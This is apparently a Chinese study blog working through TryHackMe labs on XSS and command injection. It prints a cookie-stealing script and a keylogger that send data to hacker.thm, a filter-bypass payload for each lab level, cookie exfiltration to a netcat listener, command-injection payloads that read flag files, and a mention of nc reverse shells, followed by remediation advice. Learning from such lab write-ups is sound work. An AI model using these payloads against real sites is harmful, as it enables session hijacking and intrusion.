依然是 Web hacking 的部分漏洞。
XSS
XSS (Cross-site scripting),跨站脚本攻击。它将恶意的 JavaScript 脚本注入到 Web 程序中,让其他用户执行,进而达到攻击者的目的。
Payload
Payload 是攻击者想要在目标主机上执行的 JavaScript 代码。Payload 分为两部分:intention 和 modification。Intention 指想让 JavaScript 实现的功能;Modification 指要对代码进行的修改,因为每种场景各不相同。
Proof Of Concept
也叫 PoC,它只用于验证该页面上存在漏洞。
<script>alert('XSS');</script>
Session stealing
用户会话的详细信息(比如登录令牌)通常保存在目标计算机的 Cookie 中。一旦被获取 Cookie,就可以利用该 Cookie 接管目标用户的会话,以该用户的身份登录。
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
上面的代码就会捕捉目标 Cookie,进行 base64 编码(通过 btoa 函数)后发布到由攻击者控制的网站(即 https://hacker.thm/steal)上进行记录。
Key logger
下面的代码用于键盘记录,即用户输入的任何内容都会被记录下来并转发到攻击者控制的网站上。
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
Business logic
这种 Payload 就比较具体,因为它涉及到调用特定网络资源或 JavaScript 函数。
比如现在有一个用于更改用户电子邮箱的 JavaScript 函数,名为 user.changeEmail(),那么我们的 Payload 就可以是:
<script>user.changeEmail('attacker@hacker.thm');</script>
这样,修改了邮箱地址后,就可以进行重置密码了。
XSS 类型
反射型 XSS
当用户在 HTTP 请求中提供的数据未经验证就包含在网页源代码中时,就会发生反射型 XSS。
攻击者可以向潜在受害者发送链接,或将链接嵌入到另一个网站上的 iframe,这些都包含了 JavaScript Payload。受害者点击链接后,代码就会在其浏览器上执行,进而可能泄露会话或客户信息。
对于 XSS ,我们需要测试每一个可能的漏洞点。反射型 XSS 可能出现在:
- URL 查询字符串中的参数
- URL 中的文件路径
- 一些 HTTP 头(这很少见)
存储型 XSS
当 Payload 存储在 Web 应用中(比如数据库)时,其他用户访问该网页时就会出发 存储型 XSS 漏洞。
假设有一个博客系统,其未对用户输入做任何验证。此时攻击者将 Payload 当作文章或评论发送出去,它就会被存储在 数据库 中。之后的用户访问该文章时,就会受到该 Payload 的影响。
恶意 JavaScript 可能会将用户重定向到另一个网站,窃取用户的会话 Cookie,或以访问用户的身份执行其他网站操作。
同样的,我们需要测试所有可能出现 XSS 的漏洞点。存储型 XSS 可能出现在:
- 博客的评论区
- 用户账户信息
- 网页清单列表
有些开发人员认为在客户端限制输入就能很好地进行保护,因此攻击者 将输入值更改为 Web 程序不期望的值 是发现存储型 XSS 的一个方法。比如,有个网站的年龄字段期望用户从下拉菜单中选取一个整数,但假如我们不使用表单发起请求,而是手动发送了一个请求,那么我们就可以用来尝试恶意的 Payload 了。
DOM 型 XSS
DOM (Document Object Model,文档对象模型),它是 HTML 和 XML 文档的编程接口。DOM 用于表示页面,正因 DOM,程序可以改变文档结构、风格以及内容。一个 Web 页面就是文档,这个文档可以被展示在浏览器中,也可以用 HTML 代码展示。DOM 树如下图所示:
DOM 型 XSS 是指 JavaScript 代码直接在浏览器中执行,而不需要加载任何新页面或向后台代码提交数据。当网站 JavaScript 代码作用于输入或用户交互时,就会被执行。
比如,有个网站的 JavaScript 代码会从 windows.location.hash 参数中获取内容,然后将其写入网页的当前浏览部分。由于没有检查哈希值的内容是否含有恶意代码,攻击者就可以在网页上注入自己的恶意 Payload。
发现 DOM 型 XSS 相较反射型和存储型比较困难,因为需要一定的 JavaScript 知识。但基本思路就是 查找代码中攻击者可以控制的某些变量 的部分 ,如 Windows.location.x 参数。当找到这些代码段后,我们需要查看它是如何被处理的,以及这些变量值是否被写入网页的 DOM 或传递给不安全的 JavaScript 方法(如 eval())。
盲 XSS
盲 XSS (Blind XSS) 与存储型 XSS 比较相像,它们都是将 Payload 存储在网站上供用户查看。但盲 XSS 无法看到 Payload 的工作情况,也无法先对自己进行测试。
比如网站有一个表单联系系统,我们可以在上面给工作人员留言。信息内容不会被检查是否包含恶意代码,攻击者输入恶意代码后,这些代码就会被传到仅供员工查看的私人门户网站中。
如果使用正确的 Payload,那么攻击结果会返回到攻击者手上,比如工作人员门户网站的 URL、工作人员的 Cookie,甚至是他们正在浏览的门户网站页面的内容。接下来,攻击者就可能劫持工作人员的会话并访问私人门户网站了。
在测试 盲 XSS 漏洞时,我们需要确保 Payload 有回调(通常是 HTTP 请求)。XSS Hunter Express 是一款常用的 盲 XSS 攻击工具,虽然也能用 JavaScript 开发自己的工具,但 XSS Hunter Express 会自动捕获 Cookie、URL、页面内容等。
Perfecting payload
payload 可能有很多意图,它可以作为 PoC 证明存在 XSS 漏洞,也可以从网页或会话中提取信息。目标网站如何反映 JavaScript Payload 决定了攻击者需要使用的 Payload。
Level 1
在输入框中输入内容,内容会被显示在页面中。对应部分的源代码为:
看起来它会直接显示用户输入。那就直接使用 alert 函数作为 Payload:
有警告栏弹出,并且对应部分的源代码也将 Payload 包含了进去:
Level 2
第二关将用户输入用 <input> 输入框包裹起来。
对于这种情况,我们可以先将 <input> 闭合,再调用 alert 函数。这样,我们可以构造出如下 Payload:
max"><script>alert('THM');</script>
此时的源代码:
Level 3
本关将用户输入使用 <textarea> 包裹起来了。
那么思路与第二关类似,先闭合,再调用 alert 函数。构造如下 Payload:
max</textarea><script>alert('THM');</script>
Level 4
输入之后直接显示用户输入,看起来与第一关一样。但查看源代码后发现略有不同:
输入展示被 <span> 包裹,且被赋予 name 类的属性。在其下方还有一段 JavaScript 代码,获取 name 类的元素,并为其赋值,此处赋予的值为用户的输入。
因为已经被 <script> 标签包裹,所以直接写入 alert 函数作为 Payload,结果未生效。查看源代码发现是没将单引号闭合的缘故:
故构造如下 Payload:
';alert('THM');//
其中第一个单引号用于闭合,alert 函数后的分号用于结束语句,// 用于将后续代码注释。
此时的源代码:
Level 5
本关与 第一关 的结果很像,那就直接使用 <script>alert('THM');</script> 来进行检验:
可以看到,script 被过滤了。之前我们知道,遇到过滤可以尝试使用 双写 绕过:
我们将双写后的 Payload 输入进去:
Level 6
这一关是通过输入路径获取图片,此时的源代码:
对于这种,我们可以利用 标签 的其他事件进行利用,比如 onclick、onload 等事件。本关判断是否通关是看输入框中的内容是否可以直接触发 XSS,因此本次应该使用 onload 事件。
onload 事件会在元素加载完成后立即发生。因此我们构造 Payload:" οnlοad="alert('THM') :
Practical
在实战关卡中,网页提供了一个表单提交页面。在输入完对应信息,创建了表单后,我们可以查看创建的表单:
可以发现,输入的信息被包括在 <textarea> 标签中。
因此,我们可以先尝试在 <textarea> 标签中测试 XSS 漏洞。构造一个 Payload:</textarea><script>alert('THM');</script>. 如果此处存在漏洞,则在查看表单时就会弹出警告框。事实是,也确实弹出了:
那么通过验证,可以确认此处存在 XSS 漏洞。如果要利用,我们可以利用 XSS 漏洞来获取用户 Cookie,因此接下来的思路就是通过 XSS 漏洞获取用户 Cookie,并将该 Cookie 结果返回到自己的监听服务器中。
对于监听服务器,我们可以使用 Netcat 进行简易搭建:
其中,nc 表示 Netcat;-n 参数用于避免从 DNS 中解析主机名;-l 参数表示要 Netcat 处于监听模式;-v 表示启用 verbose 模式,可以返回错误信息;-p 用于指定端口号。
在创建了监听服务器后,我们构建如下的 XSS Payload:
</textarea><script>fetch('http://10.10.119.129:9001?cookie=' + btoa(document.cookie));</script>
其中,fetch 用于建立一个 HTTP 请求;btoa 函数用于把获取到的 Cookie 经过 base64 编码;document.cookie 可以访问受害者的 Cookie。
使用构造出来的 Payload 创建新表单,现在我们默默等待受害者上钩:
发现监听到了,我们将获取到的 Cookie 进行解码,得到如下结果:
Command injection
命令注入 指 滥用应用程序的行为,使用与设备上运行的应用程序相同的权限在操作系统上执行命令。命令注入通常也被称为 远程代码执行 (RCE, Remote Code Execution) ,因为它能够在应用程序中远程执行代码。对于攻击者来说,这些漏洞往往最有利可图,因为该漏洞的出现意味着攻击者可以直接与存在漏洞的系统产生交互,进而读取系统或用户文件、数据和其他内容。
Discovering command injection
命令注入 漏洞一般是因为应用程序所使用的编程语言(如 PHP、Python 或 NodeJS 等)中向操作系统传递数据和进行系统调用的函数。可以说,只要程序调用了这些函数,就可能出现 命令注入 漏洞。
如上图 PHP 代码中。第 2 块中表示获取用户输入,第 3 块表示直接将用户输入传到命令中,第 4 块表示直接执行这条命令。攻击者可以通过注入自己的命令让应用程序执行,从而滥用该应用程序,攻击者可以要求应用程序从更敏感的文件中读取数据,而不是用 grep 命令搜索 songtitle.txt 中的条目。
再比如下图的 Python 代码:
图中使用 Flask 创建一个 Web 服务器,并使用 subprocess 包执行命令。其中设置了路由,路由到创建的 Web 服务器上,该服务器会执行所有用户的输入。比如要执行 whoami,我们需要访问 http://flaskapp.thm/whoami 。
Exploiting command injection
用户可能会以非预期的方式将 输入和系统命令 进行组合,比如使用 ; 、&、&& 将多条系统命令组合在一起并执行。
Detecting command injection
命令注入 的检测方式一般分为两种:
- Blind command injection,盲命令注入。它在测试 Payload 时不会直接输出结果,需要我们根据应用程序行为来判断 Payload 是否生效。
- Verbose command injection,详细命令注入。顾名思义,该类型在测试 Payload 时会直接返回运行结果。
Verbose 命令注入因为会直接返回结果,所以检测它是比较容易的。主要是 Blind 命令注入。
Blind 命令注入虽然不会输出任何信息,但可以通过程序行为来判断 Payload 是否生效。比如使用 ping 或者 sleep 命令,尽管不会有信息输出,但在执行命令时程序会被挂起若干秒,这段挂起时间是可以被感知到的。
另一种用于检测 Blind 命令注入的方法是 强制输出。我们可以使用重定向操作符(如 >、>>)将命令执行结果写入到某一文件中,之后再使用 cat 等命令读取该文件内容即可。
测试命令注入
无论是 Blind 还是 Verbose,我们都需要编写 Payload 来测试 命令注入 漏洞。测试 命令注入一般都比较复杂并且需要一些经验,更重要的是不同操作系统有不同命令。
curl 就是一个很好的测试 命令注入 的命令。因为 curl 可以在 Payload 中将数据传给应用程序,或者从应用程序传输数据。比如下面的代码片段就可能测试到 命令注入 漏洞。
curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami
# curl http://vulnerable.app/process.php?search=The Beatles; whoami
Useful Payload
Payload | 描述 |
whoami | 查看应用以何种用户权限运行 |
ls | 列出当前目录内容 |
ping | 该命令会将应用程序挂起,非常适合测试 盲命令注入 |
sleep | 若机器上未安装 ping,该命令是另一个适合测试 盲命令注入 的命令 |
nc | Netcat 可用于在有 命令注入 漏洞的应用程序上生成一个反向 Shell。 |
Payload | 描述 |
whoami | 查看应用以何种用户权限运行 |
dir | 列出当前目录下的文件 |
ping | 该命令会将应用程序挂起,非常适合测试 盲命令注入 |
timeout | 若机器上未安装 ping,该命令是另一个适合测试 盲命令注入 的命令 |
Remediating command injection
有多种方法可以防止 命令注入。
首先就是 尽量少地使用编程语言中具有潜在危险的函数和库。以 PHP 语言为例,像是:
- Exec
- Passthru
- System
就是可以与系统交互并执行命令的函数。这些函数接收字符串或用户数据等输入,并执行系统提供的任何内容。任何未经适当检查就使用这些函数的应用程序都很容易受到 命令注入 的攻击。
其次就是 进行输入消毒 (Input sanitisation)。Sanitisation 可指定用户提交的数据格式或类型,比如可以设定输入字段只能接受数字数据或删除任何特殊字符(如 >、& 和 / )。像 PHP 中,就有 filter_input 函数来检查通过输入表单提交的数据是否为数字。
最后要注意 过滤器的绕过。尽管应用程序可能设置了非常多的过滤器和消毒措施,但攻击者依然可以滥用应用程序背后的逻辑去绕过过滤器。比如 过滤器被设置成过滤掉斜杠号,此时攻击者可以将输入转换为十六进制,来绕过这些过滤规则:
上图的 $payload 经过十六进制解码为 “/etc/passwd”。
Practical
进来就是一个页面,输入 IP 地址就可以自动 ping 该地址。
输入一个地址发现返回了内容,这说明这存在一个 verbose 命令执行 漏洞:
本题要求我们获取当前应用程序使用的用户权限,以及读取 /home/tryhackme/flag.txt 文件中的内容。
因为是 verbose 命令执行漏洞,所以可以直接使用如下 Payload:;whoami;cat /home/tryhackme/flag.txt
将上述 Payload 中的 ; 换成 && 也可以实现同样效果。
上面的 Payload 适用于 verbose 命令执行,但假如是 blind 命令执行呢?
那我们可以构造出如下 Payload:;whoami >> /home/tryhackme/flag.txt;cat /home/tryhackme/flag.txt
PS: 此处重定向的文件路径只能是 /home/tryhackme/flag.txt ,可能是没有权限新建文件吧。
从这个 Practical 可以看出,多种 Payload 可以实现同一个目标,因此利用 命令注入 漏洞时可以发散一下思维,从多方面入手。
然后因为最近事情太多,都在碎片化学习,所以估计也很难找个时间把学到的东西全部整合起来写成博客了。后续估计就是学了哪一部分,就先记录哪一部分,可能会比较乱,但每个知识点内容相互独立。